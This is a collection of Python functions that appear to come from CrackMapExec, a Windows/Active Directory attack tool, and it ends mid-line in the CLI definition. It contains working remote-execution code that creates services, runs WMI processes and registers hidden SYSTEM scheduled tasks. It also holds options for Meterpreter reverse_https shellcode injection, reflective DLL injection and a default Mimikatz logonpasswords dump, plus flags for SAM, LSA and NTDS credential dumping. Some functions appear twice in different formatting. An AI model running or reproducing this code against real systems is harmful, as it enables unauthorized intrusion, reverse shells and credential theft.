def execute_fileless(self, data): self.__output = gen_random_string(6) self.__batchFile = gen_random_string(6) + '.bat' local_ip = self.__rpctransport.get_socket().getsockname()[0] if self.__retOutput: command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format( local_ip, self.__share_name, self.__output) else: command = self.__shell + data with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file: batch_file.write(command) logging.debug('Hosting batch file with command: ' + command) command = self.__shell + '\\\\{}\\{}\\{}'.format( local_ip, self.__share_name, self.__batchFile) logging.debug('Command to execute: ' + command) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output_fileless()
def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string() self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat' if self.__retOutput: command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile else: command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile command += ' & ' + 'del ' + self.__batchFile logging.debug('Executing command: ' + command) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output()
def execute_fileless(self, data): self.__output = gen_random_string(6) self.__batchFile = gen_random_string(6) + ".bat" local_ip = self.__rpctransport.get_socket().getsockname()[0] if self.__retOutput: command = self.__shell + data + " ^> \\\\{}\\{}\\{}".format(local_ip, self.__share_name, self.__output) else: command = self.__shell + data with open(os.path.join("/tmp", "cme_hosted", self.__batchFile), "w") as batch_file: batch_file.write(command) logging.debug("Hosting batch file with command: " + command) command = self.__shell + "\\\\{}\\{}\\{}".format(local_ip, self.__share_name, self.__batchFile) logging.debug("Command to execute: " + command) resp = scmr.hRCreateServiceW( self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command ) service = resp["lpServiceHandle"] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output_fileless()
def options(self, context, module_options): ''' LHOST IP hosting the handler LPORT Handler port PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https) PROCID Process ID to inject into (default: current powershell process) ''' if not 'LHOST' in module_options or not 'LPORT' in module_options: context.log.error('LHOST and LPORT options are required!') exit(1) self.met_payload = 'reverse_https' self.lhost = None self.lport = None self.procid = None if 'PAYLOAD' in module_options: self.met_payload = module_options['PAYLOAD'] if 'PROCID' in module_options: self.procid = module_options['PROCID'] self.lhost = module_options['LHOST'] self.lport = module_options['LPORT'] self.obfs_name = gen_random_string()
def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__share = share self.__smbconnection = smbconnection self.__output = '\\' + gen_random_string(6) self.__outputBuffer = '' self.__shell = 'cmd.exe /Q /c ' self.__pwd = 'C:\\' self.__aesKey = None self.__doKerberos = False self.__retOutput = True if hashes is not None: #This checks to see if we didn't provide the LM Hash if hashes.find(':') != -1: self.__lmhash, self.__nthash = hashes.split(':') else: self.__nthash = hashes if self.__password is None: self.__password = '' self.__dcom = DCOMConnection(self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process,_ = iWbemServices.GetObject('Win32_Process')
def options(self, context, module_options): ''' PATH Path to dll/exe to inject PROCID Process ID to inject into (default: current powershell process) EXEARGS Arguments to pass to the executable being reflectively loaded (default: None) ''' if not 'PATH' in module_options: context.log.error('PATH option is required!') exit(1) self.payload_path = os.path.expanduser(module_options['PATH']) if not os.path.exists(self.payload_path): context.log.error('Invalid path to EXE/DLL!') exit(1) self.procid = None self.exeargs = None if 'PROCID' in module_options: self.procid = module_options['PROCID'] if 'EXEARGS' in module_options: self.exeargs = module_options['EXEARGS'] self.obfs_name = gen_random_string()
def options(self, context, module_options): ''' COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified) CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified) ''' if not 'COMMAND' in module_options and not 'CMDFILE' in module_options: context.log.error('COMMAND or CMDFILE options are required!') exit(1) if 'COMMAND' in module_options and 'CMDFILE' in module_options: context.log.error('COMMAND and CMDFILE are mutually exclusive!') exit(1) if 'COMMAND' in module_options: self.command = module_options['COMMAND'] elif 'CMDFILE' in module_options: path = os.path.expanduser(module_options['CMDFILE']) if not os.path.exists(path): context.log.error('Path to CMDFILE invalid!') exit(1) with open(path, 'r') as cmdfile: self.command = cmdfile.read().strip() self.sct_name = gen_random_string(5)
def options(self, context, module_options): ''' USER Search for the specified username in available tokens (default: None) USERFILE File containing usernames to search for in available tokens (defult: None) ''' self.user = None self.userfile = None if 'USER' in module_options and 'USERFILE' in module_options: context.log.error( 'USER and USERFILE options are mutually exclusive!') sys.exit(1) if 'USER' in module_options: self.user = module_options['USER'] elif 'USERFILE' in module_options: path = os.path.expanduser(module_options['USERFILE']) if not os.path.exists(path): context.log.error('Path to USERFILE invalid!') sys.exit(1) self.userfile = path self.obfs_name = gen_random_string()
def options(self, context, module_options): ''' USER Search for the specified username in available tokens (default: None) USERFILE File containing usernames to search for in available tokens (defult: None) ''' self.user = None self.userfile = None if 'USER' in module_options and 'USERFILE' in module_options: context.log.error('USER and USERFILE options are mutually exclusive!') sys.exit(1) if 'USER' in module_options: self.user = module_options['USER'] elif 'USERFILE' in module_options: path = os.path.expanduser(module_options['USERFILE']) if not os.path.exists(path): context.log.error('Path to USERFILE invalid!') sys.exit(1) self.userfile = path self.obfs_name = gen_random_string()
def __init__( self, host, share_name, protocol, username="", password="", domain="", hashes=None, share=None, port=445 ): self.__host = host self.__share_name = share_name self.__port = port self.__username = username self.__password = password self.__serviceName = gen_random_string() self.__domain = domain self.__lmhash = "" self.__nthash = "" self.__share = share self.__output = None self.__batchFile = None self.__outputBuffer = "" self.__shell = "%COMSPEC% /Q /c " self.__retOutput = False self.__rpctransport = None self.__scmr = None self.__conn = None # self.__mode = mode # self.__aesKey = aesKey # self.__doKerberos = doKerberos if hashes is not None: # This checks to see if we didn't provide the LM Hash if hashes.find(":") != -1: self.__lmhash, self.__nthash = hashes.split(":") else: self.__nthash = hashes if self.__password is None: self.__password = "" stringbinding = "ncacn_np:%s[\pipe\svcctl]" % self.__host logging.debug("StringBinding %s" % stringbinding) self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) self.__rpctransport.set_dport(self.__port) if hasattr(self.__rpctransport, "setRemoteHost"): self.__rpctransport.setRemoteHost(self.__host) if hasattr(self.__rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. self.__rpctransport.set_credentials( self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash ) # rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) self.__scmr = self.__rpctransport.get_dce_rpc() self.__scmr.connect() s = self.__rpctransport.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) self.__scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self.__scmr) self.__scHandle = resp["lpScHandle"]
def execute_fileless(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0] command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output) logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_fileless()
def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string(6) command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output()
def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string(6) command = self.__shell + data if self.__retOutput: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_remote()
def execute_fileless(self, data): self.__output = gen_random_string(6) local_ip = self.__smbconnection.getSMBServer().get_socket( ).getsockname()[0] command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format( local_ip, self.__share_name, self.__output) logging.debug('Executing command: ' + command) self.__win32Process.Create(command, self.__pwd, None) self.get_output_fileless()
def options(self, context, module_options): ''' COMMAND Mimikatz command to execute (default: 'sekurlsa::logonpasswords') ''' self.mimikatz_command = 'privilege::debug sekurlsa::logonpasswords exit' if module_options and 'COMMAND' in module_options: self.mimikatz_command = module_options['COMMAND'] #context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command)) self.obfs_name = gen_random_string()
def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None): self.__target = target self.__username = username self.__password = password self.__domain = domain self.__lmhash = "" self.__nthash = "" self.__share = share self.__smbconnection = smbconnection self.__output = "\\" + gen_random_string(6) self.__outputBuffer = "" self.__shell = "cmd.exe /Q /c " self.__pwd = "C:\\" self.__aesKey = None self.__doKerberos = False self.__retOutput = True if hashes is not None: # This checks to see if we didn't provide the LM Hash if hashes.find(":") != -1: self.__lmhash, self.__nthash = hashes.split(":") else: self.__nthash = hashes if self.__password is None: self.__password = "" self.__dcom = DCOMConnection( self.__target, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, ) iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) iWbemLevel1Login.RemRelease() self.__win32Process, _ = iWbemServices.GetObject("Win32_Process")
def options(self, context, module_options): ''' TARGET Target machine(s) to execute the command on (comma seperated) USER User to impersonate DOMAIN Domain of the user to impersonate CMD Command to execute on the target system(s) (Required if CMDFILE isn't specified) CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified) ''' if not 'TARGET' in module_options or not 'USER' in module_options or not 'DOMAIN' in module_options: context.log.error('TARGET, USER and DOMAIN options are required!') sys.exit(1) if not 'CMD' in module_options and not 'CMDFILE' in module_options: context.log.error('CMD or CMDFILE options are required!') sys.exit(1) if 'CMD' in module_options and 'CMDFILE' in module_options: context.log.error('CMD and CMDFILE are mutually exclusive!') sys.exit(1) self.target_computers = '' self.target_user = module_options['USER'] self.target_domain = module_options['DOMAIN'] if 'CMD' in module_options: self.command = module_options['CMD'] elif 'CMDFILE' in module_options: path = os.path.expanduser(module_options['CMDFILE']) if not os.path.exists(path): context.log.error('Path to CMDFILE invalid!') sys.exit(1) with open(path, 'r') as cmdfile: self.command = cmdfile.read().strip() targets = module_options['TARGET'].split(',') for target in targets: self.target_computers += '"{}",'.format(target) self.target_computers = self.target_computers[:-1] self.obfs_name = gen_random_string()
def options(self, context, module_options): ''' PATH Path to the raw shellcode to inject PROCID Process ID to inject into (default: current powershell process) ''' if not 'PATH' in module_options: context.log.error('PATH option is required!') exit(1) self.shellcode_path = os.path.expanduser(module_options['PATH']) if not os.path.exists(self.shellcode_path): context.log.error('Invalid path to shellcode!') exit(1) self.procid = None if 'PROCID' in module_options.keys(): self.procid = module_options['PROCID'] self.obfs_name = gen_random_string()
def doStuff(self, command): def output_callback(data): self.__outputBuffer = data dce = self.__rpctransport.get_dce_rpc() dce.set_credentials(*self.__rpctransport.get_credentials()) dce.connect() #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) tmpName = gen_random_string(8) xml = """<?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <Triggers> <CalendarTrigger> <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary> <Enabled>true</Enabled> <ScheduleByDay> <DaysInterval>1</DaysInterval> </ScheduleByDay> </CalendarTrigger> </Triggers> <Principals> <Principal id="LocalSystem"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>true</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>P3D</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Actions Context="LocalSystem"> <Exec> <Command>cmd.exe</Command> """ if self.__retOutput: tmpFileName = tmpName + '.tmp' xml += """ <Arguments>/C {} > %windir%\\Temp\\{} 2>&1</Arguments> </Exec> </Actions> </Task> """.format(command, tmpFileName) elif self.__retOutput is False: xml += """ <Arguments>/C {}</Arguments> </Exec> </Actions> </Task> """.format(command) #logging.info("Task XML: {}".format(xml)) taskCreated = False #logging.info('Creating task \\%s' % tmpName) tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) taskCreated = True #logging.info('Running task \\%s' % tmpName) tsch.hSchRpcRun(dce, '\\%s' % tmpName) done = False while not done: #logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) if resp['pLastRuntime']['wYear'] != 0: done = True else: sleep(2) #logging.info('Deleting task \\%s' % tmpName) tsch.hSchRpcDelete(dce, '\\%s' % tmpName) taskCreated = False if taskCreated is True: tsch.hSchRpcDelete(dce, '\\%s' % tmpName) peer = ':'.join( map(str, self.__rpctransport.get_socket().getpeername())) #self.__logger.success('Executed command via ATEXEC') if self.__retOutput: smbConnection = self.__rpctransport.get_smb_connection() while True: try: #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback) break except Exception as e: if str(e).find('SHARING') > 0: sleep(3) elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: sleep(3) else: raise #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) else: pass #logging.info('Output retrieval disabled') dce.disconnect()
def doStuff(self, command): def output_callback(data): self.__outputBuffer = data dce = self.__rpctransport.get_dce_rpc() dce.set_credentials(*self.__rpctransport.get_credentials()) dce.connect() #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) dce.bind(tsch.MSRPC_UUID_TSCHS) tmpName = gen_random_string(8) xml = """<?xml version="1.0" encoding="UTF-16"?> <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> <Triggers> <CalendarTrigger> <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary> <Enabled>true</Enabled> <ScheduleByDay> <DaysInterval>1</DaysInterval> </ScheduleByDay> </CalendarTrigger> </Triggers> <Principals> <Principal id="LocalSystem"> <UserId>S-1-5-18</UserId> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries> <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries> <AllowHardTerminate>true</AllowHardTerminate> <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd>true</StopOnIdleEnd> <RestartOnIdle>false</RestartOnIdle> </IdleSettings> <AllowStartOnDemand>true</AllowStartOnDemand> <Enabled>true</Enabled> <Hidden>true</Hidden> <RunOnlyIfIdle>false</RunOnlyIfIdle> <WakeToRun>false</WakeToRun> <ExecutionTimeLimit>P3D</ExecutionTimeLimit> <Priority>7</Priority> </Settings> <Actions Context="LocalSystem"> <Exec> <Command>cmd.exe</Command> """ if self.__retOutput: tmpFileName = tmpName + '.tmp' xml+= """ <Arguments>/C {} > %windir%\\Temp\\{} 2>&1</Arguments> </Exec> </Actions> </Task> """.format(command, tmpFileName) elif self.__retOutput is False: xml+= """ <Arguments>/C {}</Arguments> </Exec> </Actions> </Task> """.format(command) #logging.info("Task XML: {}".format(xml)) taskCreated = False #logging.info('Creating task \\%s' % tmpName) tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) taskCreated = True #logging.info('Running task \\%s' % tmpName) tsch.hSchRpcRun(dce, '\\%s' % tmpName) done = False while not done: #logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) if resp['pLastRuntime']['wYear'] != 0: done = True else: sleep(2) #logging.info('Deleting task \\%s' % tmpName) tsch.hSchRpcDelete(dce, '\\%s' % tmpName) taskCreated = False if taskCreated is True: tsch.hSchRpcDelete(dce, '\\%s' % tmpName) peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername())) #self.__logger.success('Executed command via ATEXEC') if self.__retOutput: smbConnection = self.__rpctransport.get_smb_connection() while True: try: #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback) break except Exception as e: if str(e).find('SHARING') > 0: sleep(3) elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: sleep(3) else: raise #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) else: pass #logging.info('Output retrieval disabled') dce.disconnect()
def main(): VERSION = '3.1.5-dev' CODENAME = '\'Stoofvlees\'' parser = argparse.ArgumentParser(description=""" ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / | | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----' | | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | | | `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----. \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______| Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino) Inspired by: @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap @gojhonny's CredCrack https://github.com/gojhonny/CredCrack @pentestgeek's smbexec https://github.com/pentestgeek/smbexec {}: {} {}: {} """.format(highlight('Version', 'red'), highlight(VERSION), highlight('Codename', 'red'), highlight(CODENAME)), formatter_class=RawTextHelpFormatter, version='{} - {}'.format(VERSION, CODENAME), epilog="What is it? It's a stew... But what is it? It's a stew...") parser.add_argument("target", nargs='*', type=str, help="The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets") parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (default: 100)") parser.add_argument('-id', metavar="CRED_ID", nargs='+', default=[], type=str, dest='cred_id', help='Database credential ID(s) to use for authentication') parser.add_argument("-u", metavar="USERNAME", dest='username', nargs='+', default=[], help="Username(s) or file(s) containing usernames") ddgroup = parser.add_mutually_exclusive_group() ddgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="Domain name") ddgroup.add_argument("--local-auth", action='store_true', help='Authenticate locally to each target') msgroup = parser.add_mutually_exclusive_group() msgroup.add_argument("-p", metavar="PASSWORD", dest='password', nargs= '+', default=[], help="Password(s) or file(s) containing passwords") msgroup.add_argument("-H", metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') mcgroup = parser.add_mutually_exclusive_group() mcgroup.add_argument("-M", "--module", metavar='MODULE', help='Payload module to use') mcgroup.add_argument('-MC','--module-chain', metavar='CHAIN_COMMAND', help='Payload module chain command string to run') parser.add_argument('-o', metavar='MODULE_OPTION', nargs='+', default=[], dest='module_options', help='Payload module options') parser.add_argument('-L', '--list-modules', action='store_true', help='List available modules') parser.add_argument('--show-options', action='store_true', help='Display module options') parser.add_argument("--share", metavar="SHARE", default="C$", help="Specify a share (default: C$)") parser.add_argument("--smb-port", type=int, choices={139, 445}, default=445, help="SMB port (default: 445)") parser.add_argument("--mssql-port", default=1433, type=int, metavar='PORT', help='MSSQL port (default: 1433)') parser.add_argument("--server", choices={'http', 'https'}, default='https', help='Use the selected server (default: https)') parser.add_argument("--server-host", type=str, default='0.0.0.0', metavar='HOST', help='IP to bind the server to (default: 0.0.0.0)') parser.add_argument("--server-port", metavar='PORT', type=int, help='Start the server on the specified port') parser.add_argument("--timeout", default=20, type=int, help='Max timeout in seconds of each thread (default: 20)') fail_group = parser.add_mutually_exclusive_group() fail_group.add_argument("--gfail-limit", metavar='LIMIT', type=int, help='Max number of global failed login attempts') fail_group.add_argument("--ufail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per username') fail_group.add_argument("--fail-limit", metavar='LIMIT', type=int, help='Max number of failed login attempts per host') parser.add_argument("--verbose", action='store_true', help="Enable verbose output") rgroup = parser.add_argument_group("Credential Gathering", "Options for gathering credentials") rgroup.add_argument("--sam", action='store_true', help='Dump SAM hashes from target systems') rgroup.add_argument("--lsa", action='store_true', help='Dump LSA secrets from target systems') rgroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)") rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') rgroup.add_argument("--wdigest", choices={'enable', 'disable'}, help="Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1") egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") egroup.add_argument("--shares", action="store_true", help="Enumerate shares and access") egroup.add_argument('--uac', action='store_true', help='Checks UAC status') egroup.add_argument("--sessions", action='store_true', help='Enumerate active sessions') egroup.add_argument('--disks', action='store_true', help='Enumerate disks') egroup.add_argument("--users", action='store_true', help='Enumerate users') egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', help='Enumerate users by bruteforcing RID\'s (default: 4000)') egroup.add_argument("--pass-pol", action='store_true', help='Dump password policy') egroup.add_argument("--lusers", action='store_true', help='Enumerate logged on users') egroup.add_argument("--wmi", metavar='QUERY', type=str, help='Issues the specified WMI query') egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)') sgroup = parser.add_argument_group("Spidering", "Options for spidering shares") sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (default: root directory)') sgroup.add_argument("--content", action='store_true', help='Enable file content searching') sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='Directories to exclude from spidering') esgroup = sgroup.add_mutually_exclusive_group() esgroup.add_argument("--pattern", nargs='+', help='Pattern(s) to search for in folders, filenames and file content') esgroup.add_argument("--regex", nargs='+', help='Regex(s) to search for in folders, filenames and file content') sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)') cgroup = parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--exec-method', choices={"wmiexec", "smbexec", "atexec"}, default=None, help="Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)") cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process') cgroup.add_argument('--no-output', action='store_true', help='Do not retrieve command output') xxxgroup = cgroup.add_mutually_exclusive_group() xxxgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="Execute the specified command") xxxgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='Execute the specified PowerShell command') mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DBs") mgroup.add_argument("--mssql", action='store_true', help='Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs') mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB') mgroup.add_argument("--mssql-auth", choices={'windows', 'normal'}, default='windows', help='MSSQL authentication type to use (default: windows)') logger = CMEAdapter(setup_logger()) first_run_setup(logger) if len(sys.argv) == 1: parser.print_help() sys.exit(1) cme_path = os.path.expanduser('~/.cme') module = None chain_list = None server = None context = None smb_server = None share_name = gen_random_string(5).upper() targets = [] args = parser.parse_args() if args.verbose: setup_debug_logger() logging.debug('Passed args:\n' + pformat(vars(args))) db_path = os.path.join(cme_path, 'cme.db') # set the database connection to autocommit w/ isolation level db_connection = sqlite3.connect(db_path, check_same_thread=False) db_connection.text_factory = str db_connection.isolation_level = None db = CMEDatabase(db_connection) if args.username: for user in args.username: if os.path.exists(user): args.username.remove(user) args.username.append(open(user, 'r')) if args.password: for passw in args.password: if os.path.exists(passw): args.password.remove(passw) args.password.append(open(passw, 'r')) elif args.hash: for ntlm_hash in args.hash: if os.path.exists(ntlm_hash): args.hash.remove(ntlm_hash) args.hash.append(open(ntlm_hash, 'r')) if args.cred_id: for cred_id in args.cred_id: if '-' in str(cred_id): start_id, end_id = cred_id.split('-') try: for n in range(int(start_id), int(end_id) + 1): args.cred_id.append(n) args.cred_id.remove(cred_id) except Exception as e: logger.error('Error parsing database credential id: {}'.format(e)) sys.exit(1) for target in args.target: if os.path.exists(target): with open(target, 'r') as target_file: for target_entry in target_file: targets.extend(parse_targets(target_entry)) else: targets.extend(parse_targets(target)) if args.list_modules: loader = ModuleLoader(args, db, logger) modules = loader.get_modules() for m in modules: logger.info('{:<25} Chainable: {:<10} {}'.format(m, str(modules[m]['chain_support']), modules[m]['description'])) sys.exit(0) elif args.module and args.show_options: loader = ModuleLoader(args, db, logger) modules = loader.get_modules() for m in modules.keys(): if args.module.lower() == m.lower(): logger.info('{} module options:\n{}'.format(m, modules[m]['options'])) sys.exit(0) if args.execute or args.ps_execute or args.module or args.module_chain: if os.geteuid() != 0: logger.error("I'm sorry {}, I'm afraid I can't let you do that (cause I need root)".format(getuser())) sys.exit(1) loader = ModuleLoader(args, db, logger) modules = loader.get_modules() smb_server = CMESMBServer(logger, share_name, args.verbose) smb_server.start() if args.module: for m in modules.keys(): if args.module.lower() == m.lower(): module, context, server = loader.init_module(modules[m]['path']) elif args.module_chain: chain_list, server = ModuleChainLoader(args, db, logger).init_module_chain() try: ''' Open all the greenlet (as supposed to redlet??) threads Whoever came up with that name has a fetish for traffic lights ''' pool = Pool(args.threads) jobs = [pool.spawn(Connection, args, db, str(target), module, chain_list, server, share_name) for target in targets] #Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout if args.ntds or args.spider: joinall(jobs) elif not args.ntds: for job in jobs: job.join(timeout=args.timeout) except KeyboardInterrupt: pass if server: server.shutdown() if smb_server: smb_server.shutdown() logger.info('KTHXBYE!')
def main(): VERSION = '3.1.5-dev' CODENAME = '\'Stoofvlees\'' parser = argparse.ArgumentParser( description=""" ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / | | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----' | | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | | | `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----. \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______| Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino) Inspired by: @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap @gojhonny's CredCrack https://github.com/gojhonny/CredCrack @pentestgeek's smbexec https://github.com/pentestgeek/smbexec {}: {} {}: {} """.format(highlight('Version', 'red'), highlight(VERSION), highlight('Codename', 'red'), highlight(CODENAME)), formatter_class=RawTextHelpFormatter, version='{} - {}'.format(VERSION, CODENAME), epilog="What is it? It's a stew... But what is it? It's a stew...") parser.add_argument( "target", nargs='*', type=str, help= "The target IP(s), range(s), CIDR(s), hostname(s), 